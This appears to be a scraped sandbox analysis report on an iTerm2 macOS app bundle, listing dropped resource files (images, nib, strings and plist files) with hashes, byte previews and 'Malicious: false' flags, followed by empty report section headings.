Reputation:	low
Preview:	.PNG........IHDR...`...`.....H.......tEXtSoftware.Adobe ImageReadyq.e<...hiTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:0580117407206811822ADF60E622AF99" xmpMM:DocumentID="xmp.did:3B87588F121111E4AF74ACD2F554B80B" xmpMM:InstanceID="xmp.iid:3B87588E121111E4AF74ACD2F554B80B" xmp:CreatorTool="Adobe Photoshop CS6 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:37402A8F112068118083E889BABF5604" stRef:documentID="xmp.did:0580117407206811822ADF60E622AF99"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>8..z....IDATx^..?K.P....I..ZB....(..... .......gS.

/Applications/iTerm.app/Contents/Resources/LogoShadow.png Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	PNG image, 96 x 96, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	1191
Entropy (8bit):	6.152482027105993
Encrypted:	false
SSDEEP:	24:D1he91Wwh82lYSKwPdeRVtcCT3ohyJ3VwdmPtEG7T/0y3wOdUGDnp:JqQvnLIULJJ3O4SC/d3BdUGDp
MD5:	70091FBB2B68DFC2E1A06123460AC8C8
SHA1:	40D86EA1FC08DC675C8F296B08EFB9C57CA431D7
SHA-256:	BDAB787A7EAC69D9F66910A1F4EA8B4460DA4B94DF25236B540F5970B49CFAE5
SHA-512:	773AB520AA463BDA167EAE7EA63E0B07587EACE97C4E8701A9A943C07B751B2BC97269242B36B04CE767314A1DAE8E37DEF6FDE2CF33A438C8AF87D68D4FA405
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...`...`......F......tEXtSoftware.Adobe ImageReadyq.e<...hiTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:0580117407206811822ADF60E622AF99" xmpMM:DocumentID="xmp.did:273BC19412DD11E4AF74ACD2F554B80B" xmpMM:InstanceID="xmp.iid:273BC19312DD11E4AF74ACD2F554B80B" xmp:CreatorTool="Adobe Photoshop CS6 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:37402A8F112068118083E889BABF5604" stRef:documentID="xmp.did:0580117407206811822ADF60E622AF99"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.y\r...QPLTE.........E<S.\|.yi.zj..z./(8.........".

/Applications/iTerm.app/Contents/Resources/Loupe.tiff Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	TIFF image data, big-endian
Category:	dropped
Size (bytes):	11970
Entropy (8bit):	7.404220663062457
Encrypted:	false
SSDEEP:	192:CfyBEGHMNOYNMtKw4xgmPGZVghLVB0NRstyP2mGYNMtKwy:CTdNOYNg74xgmuZVs5K7styP2mGYNg7y
MD5:	6D0459CAFCA92325216C3AC9F38D70A5
SHA1:	C424E4C7ED596BA9274F10A72CD67B503CE2990F
SHA-256:	067198B859E1C06E2270CB01EEC640F24F1B1F673AF39E381AEF84C2F9AEA109
SHA-512:	DDE865BC1515D5F56451875643B63BE549A009CB7837206EDEF0DBE178B8877759D9052B6E2F27F36D7B00EF31231733EA2FAB0AAE9F440D535BDBAB9A3363F8
Malicious:	false
Reputation:	low
Preview:	MM....P.. P8$....BaP.2f....C`(.i....cA.$E......w..4.r..Ohd.]/.LfS9..m-NNC...><P..``I.!.'a...:b..Op.jU:.V.5LVJ....cW.@..t1.....mV..e0>....y..N..I.Nk.......1......I.03.....drY.&T...'..){...... M"...u.S....\M.?I.2,.........s\|...xS..pI.~,...[.N...eFw....L...x..m.k.\|D.y....p..8.....I..4.x.i.9}3t..6..I8../.1....qz...............3C.l..-...P..R...BD.....r..qi.....B'C.1...D.t.6%.....{....+..E......\b.....$A..2.1h.....l..7...=+qZ..`...q.o2G..4.$.,C4..p.88+p\|..3I.....5>Q...U@.H~.2.B..I........2RT.......1M&K..S.r.........K.T......n.0.A+=h...r.4..r._....C#...g.!...8..Z}..jB..n.._.I$..6....<......rHH...b..w.@X.br.....%z..q\|..(#B1....u.C.cQW`.~..X[..$.... G.....8...v.VO...Tt0.......Yi..<mM&...d.....H.K4..usi.A.b` ..b g.-A. A........+".<SM%;.-j8Z.S#...-1.=...i!.............w.(::dm...H.....v..]kq...SH........;....;B#.b;b..i....j....j.....z....0..d...s....1..:.#...=...0.;....Q...>S....^.f)^...h.....D1.z.....8.....m.x..,.{.;..~.W.}j....=...~IT........].m`.6".K2..g.e...._*.U.......... o.r.$.c.D.R..4..

/Applications/iTerm.app/Contents/Resources/MainMenu.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	74714
Entropy (8bit):	7.03856846298149
Encrypted:	false
SSDEEP:	1536:i9fgTxTPRFKquPUhEEMdg0cEXAgQZ4NKl/:84TRBuP8EEO1A+g
MD5:	987F56CAC83E30D439CA3B4DA68235D5
SHA1:	CE62A7CBEB6D6164702D53610AF0EAF730EACF24
SHA-256:	AC6BD7C99155586BA8CF8EAA7BBE20460D66505924F9D9EDB3A2828C7BE71D37
SHA-512:	B467F8361B9FA971CFEB4F6E9F21F9BED571C19A2981810775654DFCFEBD9B4DC9374A0DC02BDE16CE68B753FF0FC9DB1CFEF5066E107C41F26089C09969E3BD
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata.............%.+.3.4.;.>.B.F..4.8.=.>.?.C.I.Q.R.U.Y.\.].c.t.x.y.z.....................................................................................%.-.../.7.8.9.B.J.K.L.T.U.V._.h.i.j.k.u.v.w.}...........................................................................................$.,.-...6.7.8.9.?.C.D.L.T.U.V.W.`.h.i.j.t.u.v...................................................................................................#.$.%.&.../.0.9.:.@.H.I.J.K.L.R.\.].a.b.e.f.l.v.w.{.\|............................................................................................. .!.".#.$.(.0.1.2.3.4.9.A.B.C.H.P.Q.R.V.^._.`.a.e.m.n.o.p.t.\|.}.~....................................................................................................................."..+.,.-.1.9.:.;.<.=.A.I.J.K.L.M.Q.Y.].^._.`.a.e.m.n.o.s.{.\|.}.............................................

/Applications/iTerm.app/Contents/Resources/MainMenu.strings Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Little-endian UTF-16 Unicode C program text, with very long lines
Category:	dropped
Size (bytes):	15140
Entropy (8bit):	3.61001858399939
Encrypted:	false
SSDEEP:	192:ZslYElaOF8JWJNzdYaMgMsQD5DxXzfG/+wxXzfG/+TxXzfG/+ixXzfG/+CvNUKd:MlNzNzdYaMgMsqD+/D+0D+1D+Z
MD5:	752D54B6F8959DA8EFD64BB978F90C53
SHA1:	8986C268389F090CF76BB49CEF4E3081CFEBE661
SHA-256:	0B1884D6C9C9919020CECA494172C2779DD2284C918DDB6BE0109C6EDA0057A4
SHA-512:	8C42B3AF1DCB69248D4013D5C04D86CD1A06B6DC55307B9D0769C015B4F3C0FE41E0573318D5F10F3D3977F23583CE1B4A90B40BBE19B4E00616CB97E39A2C41
Malicious:	false
Reputation:	low
Preview:	../.. .N.S.M.e.n.u.I.t.e.m. .:. .<.t.i.t.l.e.:. .>. .(.o.i.d.:.3.4.9.). ../...". .". .=. .". .".;...../.. .N.S.P.a.n.e.l. .(.A.b.o.u.t. .i.T.e.r.m.). .:. .<.t.i.t.l.e.:.A.b.o.u.t. .i.T.e.r.m.>. .(.o.i.d.:.4.9.8.). ../...".A.b.o.u.t. .i.T.e.r.m.". .=. .".A.b.o.u.t. .i.T.e.r.m.".;...../.. .N.S.M.e.n.u.I.t.e.m. .:. .<.t.i.t.l.e.:.B.i.g.g.e.r. .F.o.n.t.>. .(.o.i.d.:.8.0.4.). ../...".B.i.g.g.e.r. .F.o.n.t.". .=. .".B.i.g.g.e.r. .F.o.n.t.".;...../.. .N.S.M.e.n.u.I.t.e.m. .:. .<.t.i.t.l.e.:.B.r.i.n.g. .A.l.l. .T.o. .F.r.o.n.t.>. .(.o.i.d.:.5.). ../...".B.r.i.n.g. .A.l.l. .T.o. .F.r.o.n.t.". .=. .".B.r.i.n.g. .A.l.l. .T.o. .F.r.o.n.t.".;...../.. .N.S.M.e.n.u.I.t.e.m. .:. .<.t.i.t.l.e.:.C.l.e.a.r. .B.u.f.f.e.r.>. .(.o.i.d.:.2.1.7.). ../...".C.l.e.a.r. .B.u.f.f.e.r.". .=. .".C.l.e.a.r. .B.u.f.f.e.r.".;...../.. .N.S.M.e.n.u.I.t.e.m. .:. .<.t.i.t.l.e.:.C.l.e.a.r. .S.c.r.o.l.l.b.a.c.k. .B.u.f.f.e.r.>. .(.o.i.d.:.7.5.5.). ../...".C.l.e.a.r. .S.c.r.o.l.l.b.a.c.k. .B.u.f.f.e.r.". .=. .".C.

/Applications/iTerm.app/Contents/Resources/Man Page Touch Bar Icon.tiff Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	TIFF image data, big-endian
Category:	dropped
Size (bytes):	9108
Entropy (8bit):	7.144135488511162
Encrypted:	false
SSDEEP:	192:Htowe9lM5i7tzPYNMtKwbrS0UI9YNMtKwy:HRSqi7tzPYNg7br/UI9YNg7y
MD5:	10857F7EA21847BF353359BBF66CFC41
SHA1:	D344D3B6CA55028B64D86406CFBC674E49EAF173
SHA-256:	9B2F06F5149C03195A6B9D93400BDB0CA9A56CE497D176FC18901D6586EF45C9
SHA-512:	14E2CC9D146BF5599241B82F0C073D4297FA112DB701ED372FAB99EA8086B0CB40F33AEFFB36D2FA3FC39E7D7166196138FB027A0AD9705FD16BAC5FDBE193F9
Malicious:	false
Reputation:	low
Preview:	MM....... P8$....BaP.d6...DbQ8.V-..FcQ..v=..HdR9$.M'.JeR.d.]/.LfS9..m7.NgS...}?.PhT:%..G.RiT.e6.O.TjU:.V.W.Vk@.3.....h.....A.X,.....o...a....p.EnP..&.v..b7.F......P.4....b.P.\|.+....Yj.....fsy...J..h.z}>.U..h.w\N.%.....m..?..k....z....7.N\#....t<.......n.~.S...........t...p...!...@p..,...-}.>..s...6.<."(..'X0...........<......1..#......."..0...D...........2..!.4..&lL.9..(..l^.FH.i.G......Z.!F./#...v.0.J...2........I.4..B..i..h..\|..`......KL....!\.......!lI....B.......Q.D....[. R.<..S...M.t.<.T..;Q.......]UH..l.W..mOY?...[U...R.U.m...d..15.>}...(..'.`RU.hs....?........4.."5.Z..E9e&...R G.....(....x.nR..w3TI..v.........$....u...M..8T..U.S9.T.bht["i...........fa..9`.).4..OPKd....PF.z#..yk.Xf.Zb.................6..azmS...%._..N.$kJ..aH;....Z..............{5t..[I....f1......h....o.r.U.{...i..I........n.<p.,Y.p[//.r..I.l....;....m}f.....=.v..m..]Gu.r{.+.j..w......p....t~oK.W>.C.z.... }J..9...(.....!P.d6.....A..6...FcQ..v=.s;.....G....@...]/.F.PH4"]..E"....}..I&R.jS+..iS......."qZ]V...

/Applications/iTerm.app/Contents/Resources/Maximized.tiff Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	TIFF image data, big-endian
Category:	dropped
Size (bytes):	10424
Entropy (8bit):	7.257800729646048
Encrypted:	false
SSDEEP:	192:kZHf9vkYNMtKwIzM4Gox5H5PP59YNMtKwy:k9vkYNg7tAHZP59YNg7y
MD5:	419E0DD2A48C3B26062BEC05E82D4492
SHA1:	2A91EF04025943F417EEBCDE64E7D98F542F06FC
SHA-256:	BD317B032CE85EDA352B86096DA9F5EDE1E15B8F9FEF3B8AE92281B63F21E838
SHA-512:	15356287F2597C85B081B8283F7F516E53A5034D1AD49863734AE58E9D48418FDAC277C65609CC7A23B14E19FFB0432E3509624D33B83D163248D415AF1002EF
Malicious:	false
Reputation:	low
Preview:	MM......?.@.$....BaP.....n6.g7......"....5...`.. .m'8..I.4....Lf'c....}.......?..$1..nC..Q...`4..^...:.6[..Vk@.Ut@.."...9.xa....zD....F.1.]0..]...S.2./.Q@.,!./.-Z....5.'....0.)..........zp.Og.0.j4.._/.p....P.`.e.t.Z..W.,..e....5\|5...r`.......f..u.U)..O.E'...B....m}......G.f.... >K.'....<....$.. ......).&A......t....R..<......j;.....>.(.....L[.QHD....o...(........q..vG..\...4..<..j^...........2.b(....+..ynQ0IP......T..`13.g.."H..0..........z..H.....j<P..B.I.....R.......-..R.{.fU,:.4....P..!. @......2.gx.5. .../C.eA+..GCJ4L.FJ.\|_H....H..s...`...H1..9.g.......u[.tL...e..$.8.q.rb.B....>...sw....K....4.'.7N)1... .P.Q......XIf.a..y.....s.8.m....Q..w5l W.E...Y(....!q..g..y......VM.fD.x...g..~...`.h.q)..Ef.T.:iB..((......[.9..,ee...l.a....(....z<...^..:...\.F..)....@.[.J..B... .:\......k5....().........(...hs.....f...h.\s` .........'d!...M.."......CuW.u ...(..y...G.........u....Z......V......[....i.....A..Es.W......(.....$....jN..z...j.e..@...B.......C.wo.B..,,.\|.x*.[.....P....B.Q..!@....o..

/Applications/iTerm.app/Contents/Resources/MigrationMap.plist Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	XML document text
Category:	dropped
Size (bytes):	20867
Entropy (8bit):	4.240600680702939
Encrypted:	false
SSDEEP:	96:Cy4TfNVfQ5fv5ToVn5Mw+T3Vy5fv+TeV95MT0TQVf5fv5TiVp5fv5TNVQ5Mw+Tb1:XGrwHiQvT1aSOd
MD5:	30DF3C87013F3DDBEF36886D678E3425
SHA1:	D00CCD8F7D6D8747286A8B688912AF50EF66B01E
SHA-256:	967C3BEDF756A048AE0DE4D3E8BD30913074E4EF63ACA3AB7C584C223C38F5B0
SHA-512:	E422AB99FAB719D82FE0C5FE3FDE3552084BB1D5BA3BE9A5D05313B281DB7A066445646596F95AFC2DA8EAC4F73A74389D03EE1EC567595ACE55D1D50596B235
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">.<plist version="1.0">.<dict>. <key>Migration Map</key>. <array>. <dict>. <key>Prefix</key>. <string>Displays</string>. <key>Suffix</key>. <string>Foreground Color</string>. <key>Type</key>. <string>dict</string>. <key>Destination</key>. <string>Foreground Color</string>. <key>Default</key>. <dict>. <key>Blue Component</key>. <real>0.0</real>. <key>Green Component</key>. <real>0.0</real>. <key>Red Component</key>. <real>0.0</real>. </dict>. </dict>. <dict>. <key>Prefix</key>. <string>Displays</string>. <key>Suffix</key>. <string>Background Color</string>. <key>Type</key>. <string>dict</string>. <key>Destination</key>. <string>Background Color</string>. <key>Defa

/Applications/iTerm.app/Contents/Resources/MiniPasteView.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	9240
Entropy (8bit):	6.605419674983274
Encrypted:	false
SSDEEP:	192:31WIi7F0MdE0lTtMjRUYNMtKwS6YpPP/R36Uqv:3gI20MdE0LwRUYNg7S6YVP4UC
MD5:	5303A12C88A2BAA4567907F95FB9AC38
SHA1:	3614695562719F6F4008BDB2D3F87B08798F7543
SHA-256:	2BA415C889375D5F38FA3026544CAB140D62A005C4A1CE3353AD672CB6503279
SHA-512:	85C4E44FF9BA67731349A8AD8CD5C2899D72393D361ECB7E0F1E64E25068F8A9BEE7AA2C0F44925A9B029A9F5AE707E638CF2CA0B752298EC1973E597F71AD67
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata......S.....%.+.3.4.;.>.B.F.M.W...............................................................'.(.).>.?.@.A.D.G.K.L.M.P.Q.V.W.[.e.i.:.n.o.q.{.....n...v.....9................U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys.....C.A.;.Q...Q.P.R.B..&.'...(.).*[NSClassName_..IBClassReference........,.-....././.(.2\IBModuleName_..IBModuleProvider[IBClassName........_..PasteViewController..5.6.7.8Z$classnameX$classes_..IBClassReference..9.:_..IBClassReferenceXNSObject..5.6.<.=^NSCustomObject..<.:..?...@.AZNS.objects.....5.6.C.D\NSMutableSet..C.E.:UNSSet..?...G.L..H.I.J.K...".(.8.3....N.O.P.Q.R...T.U./XNSSource]NSDestinationWNSLabel_.%NSChildControllerCreationSelectorName.!.....

/Applications/iTerm.app/Contents/Resources/MinimalFindView.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	13706
Entropy (8bit):	6.729883046419364
Encrypted:	false
SSDEEP:	384:GKgJFE0BwRUYNg7auQozCDmaljSUJ0APB7xbGyD:hgoRUYy7ab5P1xtD
MD5:	25DAAB09559EB0B2A1CA5E9D6A65EEBD
SHA1:	6F9C42FECC29294C56605989145108506BEFB5D0
SHA-256:	C44912599683E24E6C207548A7150E3C383C16A62BF6EB18E5F37176B87D69F5
SHA-512:	920E31F9A8D695E78F6CB05B282E513B19AB187C7C66A1EA6B7E16BE3C87E5E4709CD72D43AA9D0ACC6B655CFBAE517B6BE986CFD0E1D7E42BBC7C9E276497AE
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata............%.+.3.4.;.>.B.F.W.a.........................................................".&./.0...1.2.6.:.;.>.?.C.I.P.a.b.c.p.\|.}.~.........................................................................(.).0.1.4.5.<.=.@.A.D.O.W.X._.`.i.p.q.x.y.....................................................:.........(.z.........N.O.P.Q.R.S.T.U.V.W.X.Y.Z.[.\.].^._.`.a.b.c.d.e.f.g.h.i.j.k.n.qU$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys........................&.'...(.).*[NSClassName_..IBClassReference........,.-....././.(.2\IBModuleName_..IBModuleProvider[IBClassName........_..iTermDropDownFindViewController..5.6.7.8Z$classnameX$classes_..IBClassReference..9.:_..IBClassReferenceX

/Applications/iTerm.app/Contents/Resources/MinimalPasteView.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	9299
Entropy (8bit):	6.605547338483293
Encrypted:	false
SSDEEP:	192:x1WHqRZcE0lHMjRUYNMtKwO5dOZNLP2HMkatDMC+:xg4yE0RwRUYNg74dOHjZka+
MD5:	0208E56C92AF2A19F763AED67BD7006B
SHA1:	922DE5D3935CE9DCA249C5D27DBDF45A2A870914
SHA-256:	657663227435C9BB2D980D2E414F57B13D96E2424D6D947C61E0F4645F422B00
SHA-512:	9BA9BA8D43BACF24D52933F893507D038ECE20C6571B481CB22492D91DBF1BE35CC6B5FB89C0FE143BD93D17629876B48F435BF9B25A7A6E55E258D48C3690A2
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata......T.....%.+.3.4.;.>.B.F.M.W...............................................................(.)..?.@.A.B.E.H.L.M.R.S.V.W.\.].a.k.o.:.t.u.w.......n...v.....:................U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys.....D.B.<.R...R.Q.S.C..&.'...(.).[NSClassName_..IBClassReference........,.-....././.(.2\IBModuleName_..IBModuleProvider[IBClassName........_..PasteViewController..5.6.7.8Z$classnameX$classes_..IBClassReference..9.:_..IBClassReferenceXNSObject..5.6.<.=^NSCustomObject..<.:..?...@.AZNS.objects.....5.6.C.D\NSMutableSet..C.E.:UNSSet..?...G.L..H.I.J.K...".(.9.3....N.O.P.Q.R...T.U./XNSSource]NSDestinationWNSLabel_.%NSChildControllerCreationSelectorName.!...

/Applications/iTerm.app/Contents/Resources/Model.momd/Model.mom Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	5156
Entropy (8bit):	6.364716625522751
Encrypted:	false
SSDEEP:	96:FVX+MDKBOg2boV1v9jLA/+1dAmsJd63e7M2y6w9hxvvwBDj:FVTDY/2boV1v9/PKQ3cqpMH
MD5:	5F72C949BAA395253CE92061CCE2F2AA
SHA1:	409E6A238FC70346259D7699CA0C2C1091253E55

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

macOS Analysis Report mUiLRcXJdd

Overview

General Information

Detection

Signatures

Classification

General Information

Process Tree

Yara Overview

Memory Dumps

Jbx Signature Overview

AV Detection:

Cryptography:

Compliance:

Networking:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Runtime Messages

Created / dropped Files